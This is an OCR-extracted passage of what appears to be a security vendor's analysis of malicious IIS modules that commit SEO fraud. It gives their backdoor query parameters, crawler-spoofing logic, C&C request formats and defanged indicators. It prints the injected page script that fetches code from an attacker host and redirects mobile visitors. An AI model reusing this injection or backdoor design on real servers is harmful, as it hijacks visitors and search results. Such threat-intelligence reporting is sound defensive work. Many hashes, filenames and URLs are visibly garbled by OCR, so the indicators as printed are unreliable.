For HTTP requests received from search engine crawlers (based on the User-Agent header), or from 
legitimate users, the malware replaces the HTTP response body with data downloaded from the C&C 
server. 


For C&C communication, it uses WinINet API functions and a hardcoded User-Agent string: 
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;). The downloaded data is always 
stored in a temporary file, whose name is generated via the Get TempFileNameaA function with the 
gtest_redir prefix. The following folder is used to store the temporary files: 


C:\inetpub\temp\IIS Temporary Compressed Files\ 


loCs 


SHA-1 


Variant A 

E82C6DB2EE1 68 8BF8B182FF93C9BEA8CD84BEC1 
7554B6A5244D4BCE83C2ABE762174399CDE1EDO5 
DCACD46E441C42AA0EACBC9I9F072F3BA6A91D02B 


hb 


Variant B 


0O9BFC4596BAEF62BD2FFA79D5A4D4116B0186DB5 
6C531446598E743D315A74B4C1B3C08BE2B70C0C 
AFB59D38754ED71B251F89A999ECFB2046D5CB21 
FA790BCC0338899ABBF6C573D7FB76086A8CD62D 


Variant C 
5A3CC5E97AD448BF3DDDD4ABFD59BC74CD23B583 


Anatomy of native IIS malware 


Filenames and paths 


authcutd.dll 
ManagedEngineV4.1 32bit.d11 
ManagedEngineV4.1 64bit.dl1l 


mscore.dll 


Network indicators 


HTTP headers combinations 
3389, Cmd 


C&C servers 
http://202.100.206[.]136:443 
http://center.g666[.]org:443/ 
http://ee.allsoulu[.]com 
http://m.goudie[.]in:1024 
http://m.goudie[.Jin:1024/?zz 
http://m.goudie[.]in:1024/js.html 
http://m.pz8[.]in/ 
http://tz.allsoulu[.]com 
http://www.allsoulu[.]com 
http://www.g666[.]org/pic/ 
http://www.pz9[.]in 
http://zz.allsoulu[.]com 


Group 13 


Group 13 is the most versatile SEO fraud malware that we have analyzed. It supports several methods 
to deceive search engine crawlers, and allows the attackers to update its complex configuration via a 
backdoor command. We first detected this malware in May 2021 on a couple of IIS servers in China. 


ESET detection names 
Win32/BadIIS.H 


Implemented handlers 


CHttpModule: :OnBeginRequest 
CHttpModule: :OnSendResponse 


Features 
Feature Comment 
Supported backdoor commands: 
Backdoor ° Update module configuration 
* Read module configuration 
Replaces responses to HTTP requests from web crawlers with: 
SEO fraud ° An HTTP redirect 


e A list of pre-configured backlinks 
e Attacker-controlled content obtained on the fly 
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Backdoor mode 


Group 13 is designed to serve manipulated content to search engine crawlers, using the configuration 
data such as a redirect URL, or a list of backlinks. The only purpose of the backdoor mode of this 
malware is to maintain this configuration data. 


The attackers can list the current values of the configuration data by sending an HTTP request with 
?DisplayModuleConfig=1 in the request URI. Group 13 will respond to this request with the current 
values of all configuration fields, as listed in Table 12. 


Alternatively, the attackers can update any configuration field by sending an HTTP request with 
?ReloadModuleConfig=1 in the request URI. Upon receiving this request, the malware obtains the 
configuration from the C&C server by sending an HTTP GET request to this URL: 


http://sb.qrfy[.]net/mconfig/<host>.xml 
The value <host> is taken from the original attacker request, and it is probably used as a victim ID. The 
libcurl library is used for the network communication. 


Table 12 // Configuration fields used by Group 13 


Configuration field Comment 


banip List of IP addresses. The malware ignores HTTP requests from these IP addresses. 


Binary flag - set if the malware should handle requests with the strings spider, 


redirectreferer ‘ 
bot or baidu.com/ in the Referer header. 
in Binary flag - set if the malware should only handle crawler requests with the strings 
Android Or AppleWebKit in the Referer header. 
aai If these values are set, the malware will redirect all crawler requests to the 
redirecturi configured URL via an HTTP 301 response. 
proxy 


If these values are set, the malware will forward the search engine crawler requests 
proxyurl to its C&C server, and replace the HTTP response with the obtained data, instead of 
redirecting the crawlers to a malicious URL directly. 


proxymode 


folderlink 


folderlinkcount 


folderlinkpath 


proxyfolder If these values are set, the malware will add all of them as backlinks to the response 


locallink for any HTTP request with the strings spider or bot in the User-Agent header. 


locallinkext 


locallinkfolder 


locallinkcount 


SEO fraud mode 


This malicious IIS module listens for incoming search engine crawler requests and manipulates them 
according to its configuration. All other inbound HTTP requests are ignored. 


If redirecturl is configured, the malware will redirect all requests with the strings spider or bot in 
the User-Agent header to this URL by setting the Location header in the HTTP response. The HTTP 
status is set to 301 (“Moved Permanently”). 
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If proxymode is set, instead of redirecting the crawlers to a malicious URL, the malware will forward 
the crawler request to its C&C server proxyurl, and will replace the HTTP response body with the 
acquired data. This is applied to all the HTTP requests with spider, bot or baidu.com/ in the Referer 
header, or optionally to requests with the strings Android or AppleWebKit in the Referer header. 
Additionally, the malware can be configured to: 

+ Only handle those HTTP requests where the IIS server has set the response status to 404 

° Ignore requests coming from a configurable list of banned IP addresses 


Finally, the malware can have a list of links configured and add these links to the HTTP response body 
for any search engine crawler requests. These links are added as HTML entities to the existing HTTP 
response body: 


<a href='/<link><timestampl> <timestamp2> <randomId>.html'></a> 
loCs 


SHA-1 


DO0F274EBD2A0636FEF9D9C48A7AC2FAD7B661653 


Filenames and paths 


stati.dll 


Network indicators 


Query parameters 
?DisplayModuleConfig=1 
?ReloadModuleConfig=1 


C&C servers 
http://sb.qrfy[.]net 


Group 14 


Group 14 is simple IIS malware that serves malicious content to search engine crawlers and legitimate 
visitors. What sets this malware apart is that it only targets legitimate visitors accessing the website 
from mobile devices. 


The malware was first detected in February 2021, on a small number of targets in China. 


ESET detection names 
Win32/BadlIS.H, Win64/BadlIS.AA 


Implemented handlers 


CHttpModule: :OnSendResponse 
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Features 
Feature Comment 
SEO fraud Replaces responses to HTTP requests from web crawlers with 
attacker-controlled content. 
; Replaces responses to HTTP requests from selected visitors 
Injector Ñ SS 
with malicious content. 
SEO fraud mode 


When the module detects a request from a search engine crawler, it relays information about the 
request to the C&C server and replaces the HTTP response set by the IIS server to the one obtained from 
the C&C server. 


Search engine crawler requests are recognized when the following two conditions match: 


e The request URL contains one of these substrings: .asp, .shtml, .html, .htm 

e The User-Agent header contains one of these substrings: Baiduspider, 360Spider, Sogou, 
YisouSpider 

For these requests, the malware obtains data from its C&C server via an HTTP GET request to the C&C 

server now.asmkpo[.]com:80, with this HTTP body: 


agent-self: <originalRequestURL> 
agent-file: <originalRequestURL> 
agent-ip: <clientIPaddress> 


One of these URIs is used: 


° /self.php?v=<compromisedDomain>&p=<hostHeader> 
° /self.php?v=<compromisedDomain>&x=<hostHeader> 
° /utf.php?key=<compromisedDomain>&p=<hostHeader> 


° /utf.php?key=<compromisedDomain>&x=<hostHeader> 


Note that these URLs always include another domain, hardcoded in the malicious samples (we have 
seen a different domain in each of the analyzed samples). We believe these are the domains of the 
websites hosted on the compromised IIS server, and are used to identify the victims. 


The data obtained from the C&C server is then added to the HTTP response for this request. 
Interestingly, even in the cases the IIS server has previously set the server status to HTTP STATUS NOT FOUND, 
this malware will change it to HTTP_STATUS_OK to make sure the attacker-controlled content is 
processed by the search engine crawlers. 


Injector mode 


For all HTTP requests with the Android or iPhone substrings in the User-Agent header, the malware 
replaces the HTTP response with this content, which downloads a configurable list of URLs from 
speed.wlaspsd[.]com/vip.js and replaces the displayed website with a randomly chosen URL from 
the list: 
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<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http:// 
www.w3.org/TR/xhtml1/DTD/xhtmll1-transitional.dtd”><html xmlns="http:// 
www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type” 
content="text/html; charset=utf-8” /><title>Loading...</title><script> 
var hmt = hmt || [1; 

(function() { 


var hm = document.createElement (“script”); 


hm.src = 
“https: //hm.baidu.com/hm. js?5db3660c69049859e81ba5£4d619£0b1” ; 


var s = document.getElementsByTagName (“script”) [0]; 


s.parentNode.insertBefore(hm, s) ; 

HO; 

</script><script> function localU(q,c) { 

setTimeout (function () {location. replace (q) ;},c); 
}</script></head><body><script type="text/javascript” 
src="//speed.wlaspsd[.]com/vip.js”></script></body></html> 


The configurable part of the script downloaded from speed.wlaspsd[.]com/vip.js is: 


loCs 


SHA-1 


var jumpArr = 
[“https://haha.chunjlm[.]xyz/”,”https://hehe.qiu6j2[.]xyz/”];var 
jumpArr = 
[“https://haha.chunjlm[.]xyz/”,”https://hehe.qiu6j2[.]xyz/"]; 
var jumpRet = jumpArr[Math. floor (Math. random () *jumpArr.length)]; 
localU (jumpRet, 500) ; 


086A211A069322DF84484E0E4B4B4D8AF3ADE95B 


30BI 


ESF13FA182008EBE991C0795AFD3783AAA903 


CD1B29BFD41F469D9CB25FA282F26B3B2AB422B9 


Filenames and paths 


urlresol.dll 


Network indicators (C&C servers) 


now.asmkpo[.]com:80 


speed.wlaspsd[.]com/vip.js 


Note the aggregated loCs for all malware families are also published on our GitHub repository. 
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